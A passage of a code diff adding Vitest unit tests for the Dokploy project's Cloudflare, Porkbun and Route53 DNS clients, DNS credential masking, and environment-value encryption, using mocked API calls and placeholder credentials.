+					content: "mail.example.com",
+					ttl: 300,
+					priority: 20,
+				},
+			]),
+		);
+
+		const records = await cloudflareClient.listRecords(config, "zone-1");
+
+		expect(records[0]?.content).toBe("20 mail.example.com");
+	});
+
+	it("splits the priority back out when writing", async () => {
+		mockFetch
+			.mockResolvedValueOnce(cfSuccess([]))
+			.mockResolvedValueOnce(cfSuccess({ id: "mx-1" }));
+
+		await cloudflareClient.upsertRecord(config, {
+			zoneId: "zone-1",
+			type: "MX",
+			name: "example.com",
+			content: "20 mail.example.com",
+		});
+
+		const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
+		expect(JSON.parse(init.body as string)).toMatchObject({
+			content: "mail.example.com",
+			priority: 20,
+		});
+	});
+
+	it("falls back to priority 10 when the content has no leading number", async () => {
+		mockFetch
+			.mockResolvedValueOnce(cfSuccess([]))
+			.mockResolvedValueOnce(cfSuccess({ id: "mx-1" }));
+
+		await cloudflareClient.upsertRecord(config, {
+			zoneId: "zone-1",
+			type: "MX",
+			name: "example.com",
+			content: "mail.example.com",
+		});
+
+		const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
+		expect(JSON.parse(init.body as string)).toMatchObject({
+			content: "mail.example.com",
+			priority: 10,
+		});
+	});
+
+	it("leaves non-MX content untouched", async () => {
+		mockFetch
+			.mockResolvedValueOnce(cfSuccess([]))
+			.mockResolvedValueOnce(cfSuccess({ id: "txt-1" }));
+
+		await cloudflareClient.upsertRecord(config, {
+			zoneId: "zone-1",
+			type: "TXT",
+			name: "example.com",
+			content: "10 not-a-priority",
+		});
+
+		const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
+		const body = JSON.parse(init.body as string);
+		expect(body.content).toBe("10 not-a-priority");
+		expect(body.priority).toBeUndefined();
+	});
+});
+
+describe("cloudflareClient structured records", () => {
+	const stubCreate = () =>
+		mockFetch
+			.mockResolvedValueOnce(cfSuccess([]))
+			.mockResolvedValueOnce(cfSuccess({ id: "rec-1" }));
+
+	it("sends SRV values as structured data", async () => {
+		stubCreate();
+
+		await cloudflareClient.upsertRecord(config, {
+			zoneId: "zone-1",
+			type: "SRV",
+			name: "_sip._tcp.example.com",
+			content: "1 10 5269 talk.example.com",
+		});
+
+		const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
+		const body = JSON.parse(init.body as string);
+		expect(body.data).toEqual({
+			priority: 1,
+			weight: 10,
+			port: 5269,
+			target: "talk.example.com",
+		});
+		expect(body.content).toBeUndefined();
+	});
+
+	it("sends CAA values as structured data and drops the quotes", async () => {
+		stubCreate();
+
+		await cloudflareClient.upsertRecord(config, {
+			zoneId: "zone-1",
+			type: "CAA",
+			name: "example.com",
+			content: '0 issue "letsencrypt.org"',
+		});
+
+		const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
+		const body = JSON.parse(init.body as string);
+		expect(body.data).toEqual({
+			flags: 0,
+			tag: "issue",
+			value: "letsencrypt.org",
+		});
+		expect(body.content).toBeUndefined();
+	});
+
+	it("rejects an SRV value that is missing a part", async () => {
+		await expect(
+			cloudflareClient.upsertRecord(config, {
+				zoneId: "zone-1",
+				type: "SRV",
+				name: "_sip._tcp.example.com",
+				content: "1 10 5269",
+			}),
+		).rejects.toThrow(/SRV value/);
+	});
+
+	it("rejects a CAA value that has no tag", async () => {
+		await expect(
+			cloudflareClient.upsertRecord(config, {
+				zoneId: "zone-1",
+				type: "CAA",
+				name: "example.com",
+				content: "0",
+			}),
+		).rejects.toThrow(/CAA value/);
+	});
+});
+
+describe("cloudflareClient proxy status", () => {
+	it("sends the proxy status for proxiable types", async () => {
+		mockFetch
+			.mockResolvedValueOnce(cfSuccess([]))
+			.mockResolvedValueOnce(cfSuccess({ id: "a-1" }));
+
+		await cloudflareClient.upsertRecord(config, {
+			zoneId: "zone-1",
+			type: "A",
+			name: "app.example.com",
+			content: "1.2.3.4",
+			proxied: true,
+		});
+
+		const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
+		expect(JSON.parse(init.body as string).proxied).toBe(true);
+	});
+
+	it("omits the proxy status for types Cloudflare cannot proxy", async () => {
+		mockFetch
+			.mockResolvedValueOnce(cfSuccess([]))
+			.mockResolvedValueOnce(cfSuccess({ id: "txt-1" }));
+
+		await cloudflareClient.upsertRecord(config, {
+			zoneId: "zone-1",
+			type: "TXT",
+			name: "example.com",
+			content: "hello",
+			proxied: true,
+		});
+
+		const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
+		expect(JSON.parse(init.body as string).proxied).toBeUndefined();
+	});
+
+	it("leaves the proxy status untouched when the caller does not set it", async () => {
+		mockFetch
+			.mockResolvedValueOnce(cfSuccess([]))
+			.mockResolvedValueOnce(cfSuccess({ id: "a-1" }));
+
+		await cloudflareClient.upsertRecord(config, {
+			zoneId: "zone-1",
+			type: "A",
+			name: "app.example.com",
+			content: "1.2.3.4",
+		});
+
+		const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
+		expect("proxied" in JSON.parse(init.body as string)).toBe(false);
+	});
+
+	it("returns the proxy status when listing records", async () => {
+		mockFetch.mockResolvedValue(
+			cfSuccess([
+				{
+					id: "a-1",
+					type: "A",
+					name: "app.example.com",
+					content: "1.2.3.4",
+					ttl: 1,
+					proxied: true,
+				},
+			]),
+		);
+
+		const records = await cloudflareClient.listRecords(config, "zone-1");
+
+		expect(records[0]?.proxied).toBe(true);
+	});
+});
+
+describe("cloudflareClient.upsertRecord", () => {
+	it("creates a record when none exists for the name/type", async () => {
+		mockFetch
+			.mockResolvedValueOnce(cfSuccess([]))
+			.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
+
+		const result = await cloudflareClient.upsertRecord(config, {
+			zoneId: "zone-1",
+			type: "A",
+			name: "app.example.com",
+			content: "1.2.3.4",
+		});
+
+		expect(result).toEqual({ id: "new-1" });
+		const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
+		expect(createInit.method).toBe("POST");
+	});
+
+	it("updates the existing record instead of creating a duplicate", async () => {
+		mockFetch
+			.mockResolvedValueOnce(cfSuccess([{ id: "existing-1" }]))
+			.mockResolvedValueOnce(cfSuccess({ id: "existing-1" }));
+
+		const result = await cloudflareClient.upsertRecord(config, {
+			zoneId: "zone-1",
+			type: "A",
+			name: "app.example.com",
+			content: "5.6.7.8",
+		});
+
+		expect(result).toEqual({ id: "existing-1" });
+		const [updateUrl, updateInit] = mockFetch.mock.calls[1] as [
+			string,
+			RequestInit,
+		];
+		expect(updateUrl).toContain("/dns_records/existing-1");
+		expect(updateInit.method).toBe("PUT");
+	});
+
+	it("defaults ttl to 1 (automatic) when not provided", async () => {
+		mockFetch
+			.mockResolvedValueOnce(cfSuccess([]))
+			.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
+
+		await cloudflareClient.upsertRecord(config, {
+			zoneId: "zone-1",
+			type: "CNAME",
+			name: "www.example.com",
+			content: "example.com",
+		});
+
+		const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
+		const body = JSON.parse(createInit.body as string);
+		expect(body.ttl).toBe(1);
+	});
+});
+
+describe("cloudflareClient.updateRecord", () => {
+	it("PUTs directly to the given record id", async () => {
+		mockFetch.mockResolvedValue(cfSuccess({ id: "r1" }));
+
+		const result = await cloudflareClient.updateRecord(config, "zone-1", "r1", {
+			type: "A",
+			name: "app.example.com",
+			content: "9.9.9.9",
+			ttl: 300,
+		});
+
+		expect(result).toEqual({ id: "r1" });
+		const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
+		expect(url).toContain("/zones/zone-1/dns_records/r1");
+		expect(init.method).toBe("PUT");
+		expect(JSON.parse(init.body as string)).toEqual({
+			type: "A",
+			name: "app.example.com",
+			content: "9.9.9.9",
+			ttl: 300,
+		});
+	});
+});
+
+describe("cloudflareClient.deleteRecord", () => {
+	it("DELETEs the given record id", async () => {
+		mockFetch.mockResolvedValue(cfSuccess({}));
+
+		await cloudflareClient.deleteRecord(config, "zone-1", "r1");
+
+		const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
+		expect(url).toContain("/zones/zone-1/dns_records/r1");
+		expect(init.method).toBe("DELETE");
+	});
+});
+
+describe("cloudflareClient.testConnection", () => {
+	it("succeeds when the token can list zones", async () => {
+		mockFetch.mockResolvedValue(cfSuccess([]));
+		await expect(
+			cloudflareClient.testConnection(config),
+		).resolves.toBeUndefined();
+	});
+
+	it("surfaces Cloudflare's error message on an invalid token", async () => {
+		mockFetch.mockResolvedValue(cfError("Invalid API Token"));
+
+		await expect(cloudflareClient.testConnection(config)).rejects.toThrow(
+			"Invalid API Token",
+		);
+	});
+});
+
+describe("cloudflareClient auth header", () => {
+	it("trims whitespace pasted into the token", async () => {
+		mockFetch.mockResolvedValue(cfSuccess([]));
+
+		await cloudflareClient.testConnection({
+			providerType: "cloudflare",
+			apiToken: "  cf-token\n",
+		});
+
+		const [, init] = mockFetch.mock.calls[0] as [string, RequestInit];
+		expect((init.headers as Record<string, string>).Authorization).toBe(
+			"Bearer cf-token",
+		);
+	});
+});

apps/dokploy/__test__/dns/dns-provider-service.test.ts

@@ -0,0 +1,116 @@
+import { describe, expect, it, vi } from "vitest";
+
+vi.mock("@dokploy/server/db", () => ({
+	db: {
+		query: { dnsProvider: { findFirst: vi.fn(), findMany: vi.fn() } },
+		insert: vi.fn(),
+		update: vi.fn(),
+		delete: vi.fn(),
+	},
+}));
+
+import {
+	DNS_SECRET_MASK,
+	maskDnsProviderConfig,
+	mergeDnsProviderConfig,
+} from "@dokploy/server/services/dns-provider";
+
+describe("maskDnsProviderConfig", () => {
+	it("masks the apiToken for a cloudflare config", () => {
+		const masked = maskDnsProviderConfig({
+			providerType: "cloudflare",
+			apiToken: "real-token",
+		});
+
+		expect(masked).toEqual({
+			providerType: "cloudflare",
+			apiToken: DNS_SECRET_MASK,
+		});
+	});
+
+	it("masks only the secretAccessKey for a route53 config, keeping accessKeyId visible", () => {
+		const masked = maskDnsProviderConfig({
+			providerType: "route53",
+			accessKeyId: "AKIA_VISIBLE",
+			secretAccessKey: "shh",
+		});
+
+		expect(masked).toEqual({
+			providerType: "route53",
+			accessKeyId: "AKIA_VISIBLE",
+			secretAccessKey: DNS_SECRET_MASK,
+		});
+	});
+
+	it("leaves an empty sensitive field untouched instead of masking a blank value", () => {
+		const masked = maskDnsProviderConfig({
+			providerType: "cloudflare",
+			apiToken: "",
+		});
+
+		expect(masked).toEqual({ providerType: "cloudflare", apiToken: "" });
+	});
+});
+
+describe("mergeDnsProviderConfig", () => {
+	it("restores the real secret when the incoming config still has the mask placeholder", () => {
+		const existing = {
+			providerType: "cloudflare" as const,
+			apiToken: "real-token",
+		};
+		const incoming = {
+			providerType: "cloudflare" as const,
+			apiToken: DNS_SECRET_MASK,
+		};
+
+		expect(mergeDnsProviderConfig(incoming, existing)).toEqual(existing);
+	});
+
+	it("keeps a freshly entered secret instead of the stored one", () => {
+		const existing = {
+			providerType: "cloudflare" as const,
+			apiToken: "old-token",
+		};
+		const incoming = {
+			providerType: "cloudflare" as const,
+			apiToken: "new-token",
+		};
+
+		expect(mergeDnsProviderConfig(incoming, existing)).toEqual(incoming);
+	});
+
+	it("throws when switching provider type while the field is still masked", () => {
+		const existing = {
+			providerType: "cloudflare" as const,
+			apiToken: "real-token",
+		};
+		const incoming = {
+			providerType: "route53" as const,
+			accessKeyId: "AKIA",
+			secretAccessKey: DNS_SECRET_MASK,
+		};
+
+		expect(() => mergeDnsProviderConfig(incoming, existing)).toThrow(
+			"Credentials must be re-entered",
+		);
+	});
+
+	it("does not require re-entry for fields that are not sensitive", () => {
+		const existing = {
+			providerType: "route53" as const,
+			accessKeyId: "AKIA_OLD",
+			secretAccessKey: "old-secret",
+		};
+		const incoming = {
+			providerType: "route53" as const,
+			accessKeyId: "AKIA_NEW",
+			secretAccessKey: DNS_SECRET_MASK,
+		};
+
+		expect(mergeDnsProviderConfig(incoming, existing)).toEqual({
+			providerType: "route53",
+			accessKeyId: "AKIA_NEW",
+			secretAccessKey: "old-secret",
+		});
+	});
+});

apps/dokploy/__test__/dns/porkbun.test.ts

@@ -0,0 +1,211 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const mockFetch = vi.fn();
+global.fetch = mockFetch as typeof fetch;
+
+import { porkbunClient } from "@dokploy/server/utils/dns/porkbun";
+
+const jsonResponse = (body: unknown, ok = true, status = 200) =>
+	({
+		ok,
+		status,
+		json: async () => body,
+	}) as Response;
+
+const pbSuccess = (result: Record<string, unknown> = {}) =>
+	jsonResponse({ status: "SUCCESS", ...result });
+
+const pbError = (message: string, status = 400) =>
+	jsonResponse({ status: "ERROR", message }, false, status);
+
+const config = {
+	providerType: "porkbun" as const,
+	apiKey: "pk1_test",
+	secretApiKey: "sk1_test",
+};
+
+beforeEach(() => {
+	mockFetch.mockReset();
+});
+
+describe("porkbunClient.listZones", () => {
+	it("lists all domains as zones", async () => {
+		mockFetch.mockResolvedValue(
+			pbSuccess({ domains: [{ domain: "example.com" }] }),
+		);
+
+		const zones = await porkbunClient.listZones(config);
+
+		expect(zones).toEqual([{ id: "example.com", name: "example.com" }]);
+		const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
+		expect(url).toContain("/domain/listAll");
+		const body = JSON.parse(init.body as string);
+		expect(body).toMatchObject({
+			apikey: "pk1_test",
+			secretapikey: "sk1_test",
+		});
+	});
+});
+
+describe("porkbunClient.listRecords", () => {
+	it("lists records for a domain", async () => {
+		mockFetch.mockResolvedValue(
+			pbSuccess({
+				records: [
+					{
+						id: "1",
+						type: "A",
+						name: "app.example.com",
+						content: "1.2.3.4",
+						ttl: "600",
+						prio: "0",
+						notes: "",
+					},
+				],
+			}),
+		);
+
+		const records = await porkbunClient.listRecords(config, "example.com");
+
+		expect(records).toEqual([
+			{
+				id: "1",
+				type: "A",
+				name: "app.example.com",
+				content: "1.2.3.4",
+				ttl: 600,
+			},
+		]);
+		expect(mockFetch.mock.calls[0]?.[0]).toContain("/dns/retrieve/example.com");
+	});
+});
+
+describe("porkbunClient.upsertRecord", () => {
+	it("creates a record when none exists for the name/type", async () => {
+		mockFetch
+			.mockResolvedValueOnce(pbSuccess({ records: [] }))
+			.mockResolvedValueOnce(pbSuccess({ id: "new-1" }));
+
+		const result = await porkbunClient.upsertRecord(config, {
+			zoneId: "example.com",
+			type: "A",
+			name: "app.example.com",
+			content: "1.2.3.4",
+		});
+
+		expect(result).toEqual({ id: "new-1" });
+		const [lookupUrl] = mockFetch.mock.calls[0] as [string];
+		expect(lookupUrl).toContain("/dns/retrieveByNameType/example.com/A/app");
+		const [createUrl, createInit] = mockFetch.mock.calls[1] as [
+			string,
+			RequestInit,
+		];
+		expect(createUrl).toContain("/dns/create/example.com");
+		const body = JSON.parse(createInit.body as string);
+		expect(body).toMatchObject({ name: "app", type: "A", content: "1.2.3.4" });
+	});
+
+	it("resolves the apex domain to an empty subdomain", async () => {
+		mockFetch
+			.mockResolvedValueOnce(pbSuccess({ records: [] }))
+			.mockResolvedValueOnce(pbSuccess({ id: "new-2" }));
+
+		await porkbunClient.upsertRecord(config, {
+			zoneId: "example.com",
+			type: "A",
+			name: "example.com",
+			content: "1.2.3.4",
+		});
+
+		const [lookupUrl] = mockFetch.mock.calls[0] as [string];
+		expect(lookupUrl).toContain("/dns/retrieveByNameType/example.com/A/");
+	});
+
+	it("edits the existing record instead of creating a duplicate", async () => {
+		mockFetch
+			.mockResolvedValueOnce(pbSuccess({ records: [{ id: "existing-1" }] }))
+			.mockResolvedValueOnce(pbSuccess({}));
+
+		const result = await porkbunClient.upsertRecord(config, {
+			zoneId: "example.com",
+			type: "A",
+			name: "app.example.com",
+			content: "5.6.7.8",
+		});
+
+		expect(result).toEqual({ id: "existing-1" });
+		const [editUrl] = mockFetch.mock.calls[1] as [string, RequestInit];
+		expect(editUrl).toContain("/dns/edit/example.com/existing-1");
+	});
+
+	it("defaults ttl to 600 when not provided", async () => {
+		mockFetch
+			.mockResolvedValueOnce(pbSuccess({ records: [] }))
+			.mockResolvedValueOnce(pbSuccess({ id: "new-1" }));
+
+		await porkbunClient.upsertRecord(config, {
+			zoneId: "example.com",
+			type: "CNAME",
+			name: "www.example.com",
+			content: "example.com",
+		});
+
+		const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
+		const body = JSON.parse(createInit.body as string);
+		expect(body.ttl).toBe(600);
+	});
+});
+
+describe("porkbunClient.updateRecord", () => {
+	it("edits the given record id", async () => {
+		mockFetch.mockResolvedValue(pbSuccess({}));
+
+		const result = await porkbunClient.updateRecord(
+			config,
+			"example.com",
+			"1",
+			{
+				type: "A",
+				name: "app.example.com",
+				content: "9.9.9.9",
+				ttl: 300,
+			},
+		);
+
+		expect(result).toEqual({ id: "1" });
+		const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
+		expect(url).toContain("/dns/edit/example.com/1");
+		expect(JSON.parse(init.body as string)).toMatchObject({
+			name: "app",
+			type: "A",
+			content: "9.9.9.9",
+			ttl: 300,
+		});
+	});
+});
+
+describe("porkbunClient.deleteRecord", () => {
+	it("posts to the delete endpoint for the given record id", async () => {
+		mockFetch.mockResolvedValue(pbSuccess({}));
+
+		await porkbunClient.deleteRecord(config, "example.com", "1");
+
+		const [url] = mockFetch.mock.calls[0] as [string];
+		expect(url).toContain("/dns/delete/example.com/1");
+	});
+});
+
+describe("porkbunClient.testConnection", () => {
+	it("succeeds when the credentials can ping the API", async () => {
+		mockFetch.mockResolvedValue(pbSuccess({}));
+		await expect(porkbunClient.testConnection(config)).resolves.toBeUndefined();
+	});
+
+	it("surfaces Porkbun's error message on invalid credentials", async () => {
+		mockFetch.mockResolvedValue(pbError("Invalid API key."));
+
+		await expect(porkbunClient.testConnection(config)).rejects.toThrow(
+			"Invalid API key.",
+		);
+	});
+});

apps/dokploy/__test__/dns/route53.test.ts

@@ -0,0 +1,385 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+type HasInput = { input: any };
+
+const {
+	send,
+	Route53Client,
+	ListHostedZonesCommand,
+	ListResourceRecordSetsCommand,
+	ChangeResourceRecordSetsCommand,
+} = vi.hoisted(() => {
+	class FakeCommand {
+		input: any;
+		constructor(input: any) {
+			this.input = input;
+		}
+	}
+	const send = vi.fn();
+	class Route53Client {
+		send(command: unknown) {
+			return send(command);
+		}
+	}
+	return {
+		send,
+		Route53Client,
+		ListHostedZonesCommand: class extends FakeCommand {},
+		ListResourceRecordSetsCommand: class extends FakeCommand {},
+		ChangeResourceRecordSetsCommand: class extends FakeCommand {},
+	};
+});
+
+vi.mock("@aws-sdk/client-route-53", () => ({
+	Route53Client,
+	ListHostedZonesCommand,
+	ListResourceRecordSetsCommand,
+	ChangeResourceRecordSetsCommand,
+}));
+
+import { route53Client } from "@dokploy/server/utils/dns/route53";
+
+const config = {
+	providerType: "route53" as const,
+	accessKeyId: "AKIA_TEST",
+	secretAccessKey: "secret",
+};
+
+beforeEach(() => {
+	send.mockReset();
+});
+
+describe("route53Client.listZones", () => {
+	it("strips the hostedzone prefix and the trailing dot", async () => {
+		send.mockResolvedValueOnce({
+			HostedZones: [{ Id: "/hostedzone/Z123", Name: "example.com." }],
+			IsTruncated: false,
+		});
+
+		const zones = await route53Client.listZones(config);
+
+		expect(zones).toEqual([{ id: "Z123", name: "example.com" }]);
+	});
+
+	it("follows the marker until IsTruncated is false", async () => {
+		send
+			.mockResolvedValueOnce({
+				HostedZones: [{ Id: "/hostedzone/Z1", Name: "a.com." }],
+				IsTruncated: true,
+				NextMarker: "marker-1",
+			})
+			.mockResolvedValueOnce({
+				HostedZones: [{ Id: "/hostedzone/Z2", Name: "b.com." }],
+				IsTruncated: false,
+			});
+
+		const zones = await route53Client.listZones(config);
+
+		expect(zones).toEqual([
+			{ id: "Z1", name: "a.com" },
+			{ id: "Z2", name: "b.com" },
+		]);
+		expect(send).toHaveBeenCalledTimes(2);
+		expect((send.mock.calls[1]?.[0] as HasInput).input.Marker).toBe("marker-1");
+	});
+});
+
+describe("route53Client.listRecords", () => {
+	it("builds a type:name id and strips the trailing dot from the name", async () => {
+		send.mockResolvedValueOnce({
+			ResourceRecordSets: [
+				{
+					Name: "app.example.com.",
+					Type: "A",
+					TTL: 300,
+					ResourceRecords: [{ Value: "1.2.3.4" }],
+				},
+			],
+			IsTruncated: false,
+		});
+
+		const records = await route53Client.listRecords(config, "Z123");
+
+		expect(records).toEqual([
+			{
+				id: "A:app.example.com",
+				type: "A",
+				name: "app.example.com",
+				content: "1.2.3.4",
+				ttl: 300,
+			},
+		]);
+	});
+
+	it("skips record sets with no ResourceRecords (e.g. alias targets)", async () => {
+		send.mockResolvedValueOnce({
+			ResourceRecordSets: [
+				{ Name: "alias.example.com.", Type: "A", ResourceRecords: [] },
+			],
+			IsTruncated: false,
+		});
+
+		const records = await route53Client.listRecords(config, "Z123");
+
+		expect(records).toEqual([]);
+	});
+
+	it("joins multiple values for the same record", async () => {
+		send.mockResolvedValueOnce({
+			ResourceRecordSets: [
+				{
+					Name: "example.com.",
+					Type: "NS",
+					TTL: 172800,
+					ResourceRecords: [
+						{ Value: "ns1.example.com" },
+						{ Value: "ns2.example.com" },
+					],
+				},
+			],
+			IsTruncated: false,
+		});
+
+		const records = await route53Client.listRecords(config, "Z123");
+
+		expect(records[0]?.content).toBe("ns1.example.com\nns2.example.com");
+	});
+});
+
+describe("route53Client.upsertRecord", () => {
+	it("sends a single UPSERT change when nothing exists yet", async () => {
+		send
+			.mockResolvedValueOnce({ ResourceRecordSets: [] })
+			.mockResolvedValueOnce({});
+
+		const result = await route53Client.upsertRecord(config, {
+			zoneId: "Z123",
+			type: "A",
+			name: "app.example.com",
+			content: "1.2.3.4",
+		});
+
+		expect(result).toEqual({ id: "A:app.example.com" });
+		const command = send.mock.calls[1]?.[0] as HasInput;
+		expect(command.input.HostedZoneId).toBe("Z123");
+		expect(command.input.ChangeBatch.Changes).toEqual([
+			{
+				Action: "UPSERT",
+				ResourceRecordSet: {
+					Name: "app.example.com.",
+					Type: "A",
+					TTL: 300,
+					ResourceRecords: [{ Value: "1.2.3.4" }],
+				},
+			},
+		]);
+	});
+
+	it("keeps the values already in the record set", async () => {
+		send
+			.mockResolvedValueOnce({
+				ResourceRecordSets: [
+					{
+						Name: "app.example.com.",
+						Type: "A",
+						TTL: 300,
+						ResourceRecords: [{ Value: "1.1.1.1" }, { Value: "2.2.2.2" }],
+					},
+				],
+			})
+			.mockResolvedValueOnce({});
+
+		await route53Client.upsertRecord(config, {
+			zoneId: "Z123",
+			type: "A",
+			name: "app.example.com",
+			content: "3.3.3.3",
+		});
+
+		const command = send.mock.calls[1]?.[0] as HasInput;
+		expect(
+			command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
+		).toEqual([
+			{ Value: "1.1.1.1" },
+			{ Value: "2.2.2.2" },
+			{ Value: "3.3.3.3" },
+		]);
+	});
+
+	it("does not duplicate a value that is already in the record set", async () => {
+		send
+			.mockResolvedValueOnce({
+				ResourceRecordSets: [
+					{
+						Name: "app.example.com.",
+						Type: "A",
+						TTL: 300,
+						ResourceRecords: [{ Value: "1.1.1.1" }],
+					},
+				],
+			})
+			.mockResolvedValueOnce({});
+
+		await route53Client.upsertRecord(config, {
+			zoneId: "Z123",
+			type: "A",
+			name: "app.example.com",
+			content: "1.1.1.1",
+		});
+
+		const command = send.mock.calls[1]?.[0] as HasInput;
+		expect(
+			command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
+		).toEqual([{ Value: "1.1.1.1" }]);
+	});
+
+	it("wraps unquoted TXT values in double quotes", async () => {
+		send
+			.mockResolvedValueOnce({ ResourceRecordSets: [] })
+			.mockResolvedValueOnce({});
+
+		await route53Client.upsertRecord(config, {
+			zoneId: "Z123",
+			type: "TXT",
+			name: "example.com",
+			content: 'v=spf1 ~all\n"already quoted"',
+		});
+
+		const command = send.mock.calls[1]?.[0] as HasInput;
+		expect(
+			command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
+		).toEqual([{ Value: '"v=spf1 ~all"' }, { Value: '"already quoted"' }]);
+	});
+});
+
+describe("route53Client.updateRecord", () => {
+	it("only UPSERTs when the name/type identity did not change", async () => {
+		send.mockResolvedValueOnce({});
+
+		await route53Client.updateRecord(config, "Z123", "A:app.example.com", {
+			type: "A",
+			name: "app.example.com",
+			content: "9.9.9.9",
+		});
+
+		expect(send).toHaveBeenCalledTimes(1);
+		const command = send.mock.calls[0]?.[0] as HasInput;
+		expect(command.input.ChangeBatch.Changes).toHaveLength(1);
+		expect(command.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
+	});
+
+	it("deletes the old record set and creates the new one on rename", async () => {
+		const existingSet = {
+			Name: "old.example.com.",
+			Type: "A",
+			TTL: 300,
+			ResourceRecords: [{ Value: "1.1.1.1" }],
+		};
+		send
+			.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] }) // findExactRecordSet lookup
+			.mockResolvedValueOnce({}); // ChangeResourceRecordSets
+
+		await route53Client.updateRecord(config, "Z123", "A:old.example.com", {
+			type: "A",
+			name: "new.example.com",
+			content: "1.1.1.1",
+		});
+
+		const changeCommand = send.mock.calls[1]?.[0] as HasInput;
+		expect(changeCommand.input.ChangeBatch.Changes).toEqual([
+			{ Action: "DELETE", ResourceRecordSet: existingSet },
+			{
+				Action: "UPSERT",
+				ResourceRecordSet: {
+					Name: "new.example.com.",
+					Type: "A",
+					TTL: 300,
+					ResourceRecords: [{ Value: "1.1.1.1" }],
+				},
+			},
+		]);
+	});
+
+	it("keeps every line of a multi-value record set", async () => {
+		send.mockResolvedValueOnce({});
+
+		await route53Client.updateRecord(config, "Z123", "NS:example.com", {
+			type: "NS",
+			name: "example.com",
+			content: "ns1.example.com\nns2.example.com\n\n  ns3.example.com  ",
+		});
+
+		const command = send.mock.calls[0]?.[0] as HasInput;
+		expect(
+			command.input.ChangeBatch.Changes[0].ResourceRecordSet.ResourceRecords,
+		).toEqual([
+			{ Value: "ns1.example.com" },
+			{ Value: "ns2.example.com" },
+			{ Value: "ns3.example.com" },
+		]);
+	});
+
+	it("skips the DELETE when the old record no longer exists", async () => {
+		send
+			.mockResolvedValueOnce({ ResourceRecordSets: [] })
+			.mockResolvedValueOnce({});
+
+		await route53Client.updateRecord(config, "Z123", "A:gone.example.com", {
+			type: "A",
+			name: "new.example.com",
+			content: "1.1.1.1",
+		});
+
+		const changeCommand = send.mock.calls[1]?.[0] as HasInput;
+		expect(changeCommand.input.ChangeBatch.Changes).toHaveLength(1);
+		expect(changeCommand.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
+	});
+});
+
+describe("route53Client.deleteRecord", () => {
+	it("deletes the record set found by name/type", async () => {
+		const existingSet = {
+			Name: "app.example.com.",
+			Type: "A",
+			TTL: 300,
+			ResourceRecords: [{ Value: "1.2.3.4" }],
+		};
+		send.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] });
+		send.mockResolvedValueOnce({});
+
+		await route53Client.deleteRecord(config, "Z123", "A:app.example.com");
+
+		const changeCommand = send.mock.calls[1]?.[0] as HasInput;
+		expect(changeCommand.input.ChangeBatch.Changes).toEqual([
+			{ Action: "DELETE", ResourceRecordSet: existingSet },
+		]);
+	});
+
+	it("throws when the record no longer exists", async () => {
+		send.mockResolvedValueOnce({ ResourceRecordSets: [] });
+
+		await expect(
+			route53Client.deleteRecord(config, "Z123", "A:gone.example.com"),
+		).rejects.toThrow("not found");
+	});
+
+	it("throws for a malformed record id", async () => {
+		await expect(
+			route53Client.deleteRecord(config, "Z123", "not-a-valid-id"),
+		).rejects.toThrow("Invalid Route53 record id");
+	});
+});
+
+describe("route53Client.testConnection", () => {
+	it("resolves when ListHostedZones succeeds", async () => {
+		send.mockResolvedValueOnce({ HostedZones: [] });
+		await expect(route53Client.testConnection(config)).resolves.toBeUndefined();
+	});
+
+	it("propagates SDK errors", async () => {
+		send.mockRejectedValueOnce(new Error("InvalidClientTokenId"));
+		await expect(route53Client.testConnection(config)).rejects.toThrow(
+			"InvalidClientTokenId",
+		);
+	});
+});

apps/dokploy/__test__/drop/drop.test.ts

@@ -32,6 +32,8 @@ const baseApp: ApplicationNested = {
 	railpackVersion: "0.15.4",
 	applicationId: "",
 	previewLabels: [],
+	networkIds: [],
+	detachDokployNetwork: false,
 	createEnvFile: true,
 	bitbucketRepositorySlug: "",
 	herokuVersion: "",

apps/dokploy/__test__/env/encryption.test.ts

@@ -0,0 +1,93 @@
+import {
+	decryptValue,
+	encryptValue,
+	exportEncryptionKeys,
+	isEncrypted,
+} from "@dokploy/server/lib/encryption";
+import { afterEach, describe, expect, it, vi } from "vitest";
+
+describe("encryptValue / decryptValue", () => {
+	it("round-trips a value", () => {
+		const value =
+			"DATABASE_URL=postgres://user:secret@host:5432/db\nAPI_KEY=123";
+		const encrypted = encryptValue(value);
+
+		expect(encrypted).not.toBe(value);
+		expect(isEncrypted(encrypted)).toBe(true);
+		expect(encrypted).not.toContain("secret");
+		expect(decryptValue(encrypted)).toBe(value);
+	});
+
+	it("uses a random IV so equal inputs produce different ciphertexts", () => {
+		const value = "KEY=value";
+		expect(encryptValue(value)).not.toBe(encryptValue(value));
+	});
+
+	it("passes legacy plaintext through on decrypt", () => {
+		const plaintext = "KEY=legacy-plaintext-value";
+		expect(decryptValue(plaintext)).toBe(plaintext);
+	});
+
+	it("passes empty values through unchanged", () => {
+		expect(encryptValue("")).toBe("");
+		expect(decryptValue("")).toBe("");
+	});
+
+	it("does not double-encrypt an already encrypted value", () => {
+		const encrypted = encryptValue("KEY=value");
+		expect(encryptValue(encrypted)).toBe(encrypted);
+	});
+
+	it("throws a descriptive error on tampered ciphertext", () => {
+		const encrypted = encryptValue("KEY=value");
